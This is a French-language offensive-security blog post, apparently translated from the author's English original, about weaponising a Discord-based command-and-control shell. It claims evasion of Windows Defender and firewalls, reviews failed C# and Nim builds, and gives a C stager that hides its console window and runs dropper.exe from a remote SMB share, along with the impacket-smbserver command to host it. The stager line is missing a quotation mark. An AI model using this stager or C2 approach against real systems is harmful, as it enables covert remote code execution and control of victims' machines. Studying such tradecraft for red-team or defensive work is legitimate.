Armement de Discord Shell via SMB
Dans le précédent blog/vidéo (https:///@lsecqt/using-discord-as-command-and-control-c2-with-python-and-nuitka-8fdced161fdd/https://youtu.be/LnXOtHhCx08), nous avons expliqué comment utiliser Discord pour exécuter des commandes à distance. Cette fois, nous aborderons les limitations mentionnées.
Si vous préférez regarder une vidéo au lieu de lire, n'hésitez pas sur ma chaîne :https://youtu.be/Bocf7xM7XWQ
Même si les résultats étaient bons (contournement de Windows Defender, contournement des restrictions de pare-feu en envoyant / recevant des commandes sur un canal de confiance et crypté), nous avons dû faire face à une taille de fichier extrêmement énorme (40+ Mo) ainsi qu'à masquer le processus et l'expérience graphique .
J'ai eu plusieurs idées que je vais parcourir maintenant, à la fin chaque idée a sa propre marge d'échec. Je ne peux pas dire que j'ai développé un shell stable, mais quelque chose a fonctionné. Commençons!

Idée 1 — Créer un bot Discord avec C#
Le problème avec python et nuitka était la taille énorme du fichier, c'est parce que nuitka avait besoin de compiler et de combiner chaque bibliothèque incluse. Le morceau de code personnalisé est petit, l'ensemble du bot n'avait pas plus de 40 lignes de code. Même si le bot fonctionnait parfaitement, il est dangereux de déposer plus de 40 Mo d'exécutables sur la cible.
Cela m'a fait réfléchir à d'autres façons de créer le shell. Mon idée initiale était de créer le bot avec le framework .net. Vous vous demandez peut-être pourquoi pas .net core ? Eh bien, le framework .net est préinstallé sur tous les PC Windows, ce qui signifie que si je compile un code en exécutable, il sera exécuté sans problème. Si je devais le construire sur le noyau .net, j'ai à peu près 2 options.
1. Expédier toutes mes DLL avec l'exécutable.
2. Compilez un PE autonome.
Quand j'ai approfondi la bibliothèque Discord pour C # (https://discordnet.dev/guides/introduction/intro.html) J'ai réalisé que la seule option pour moi était de le construire avec le noyau .net, car le framework .net s'est avéré ne pas être pris en charge. Après de nombreuses tentatives pour le faire fonctionner sous le framework .net, j'étais énervé et j'ai décidé d'essayer une approche différente.
Vous pouvez demander maintenant, pourquoi ne pas opter pour l'option 2 ? Eh bien, je suis allé avec ça et j'ai rencontré à peu près le même problème. Le binaire .net core était encore plus gros que celui de nuitka.
Il existe peut-être un moyen de l'exécuter sur le framework .net, mais il faut plus de temps de recherche et de test, je laisserai cela pour l'avenir ! Passons à autre chose !
Idée 2 - Bon vieux Nim
Après avoir recherché sur quelles langues je peux construire le bot, étonnamment, je suis tombé sur Nim et sa bibliothèque Dimscord (https://github.com/krisppurg/dimscord). J'ai essayé avec un peu de scepticisme, mais il s'est avéré que le bot fonctionnait bien et que la taille du fichier était petite. Parfait!
Comme toutes les choses qui semblent parfaites, elles ne le sont pas !
Nim avait un problème général et c'est le support SSL. Lorsque vous compilez et utilisez le bot sur la même machine, cela fonctionne à merveille. Dès que vous transférez cela dans la case victime, vous voyez que :

Oui, vous devez exécuter vos DLL SSL avec votre exécutable. Pas si parfait hein ? Bien sûr, beaucoup de recherches ont été faites sur la façon dont cela peut être contourné, mais mes espoirs sont morts quand j'ai vu cela :

Passons à autre chose !
Idée 3 — Mettre en scène le binaire original de Nuitka
Jusqu'à présent, c'était ma meilleure idée qui fonctionne. Je pense qu'il est préférable d'effectuer une requête SMB plutôt que de déposer plus de 40 Mo d'exécutables sur la cible.
L'idée ici est simple, hébergez le binaire avec impacket-smbserver et créez un POC C simple pour le mettre en scène ! Passons en revue le code C :
#include <stdio.h>
#include <windows.h>
int main()
{
HWND myWindow = GetConsoleWindow();
ShowWindow(myWindow, SW_HIDE);
system(\\\\IP\\shareName\\dropper.exe");
}
La partie suivante est simple, exécutez le fichier sur le partage distant.
Après l'avoir hébergé avec :
impacket-smbserver smb . -ts -debug -smb2support

Emballer
Bien sûr, il y a beaucoup de place à l'amélioration, mais jusqu'à présent, les choses vont de mieux en mieux. À l'avenir, nous pouvons essayer de masquer le stager lui-même ou de changer complètement l'approche.
J'espère que cela donne une bonne base sur la façon dont vous pouvez sortir des sentiers battus et trouver une solution hacky à un problème.
Sentez-vous les bienvenus sur mon serveur Discord (pas de bots C2 là-bas, ne vous inquiétez pas), où nous partageons notre expérience et nos connaissances :https://discord.gg/dWCe5ZMvtQ
Aussi, j'apprécierais votre soutien en vous abonnant à mon Youtube:https://www.youtube.com/c/Lsecqt, ça veut dire beaucoup pour moi !
J'espère que vous avez apprécié et appris quelque chose de nouveau !
Si vous voulez soutenir mon travail, vous pouvez le faire avec des cafés et du Bitcoin :
https://www.buymeacoffee.com/lsecqt
3HmYmnPKZuwZZktW9Q9HAP8Gk9EWTjc4TC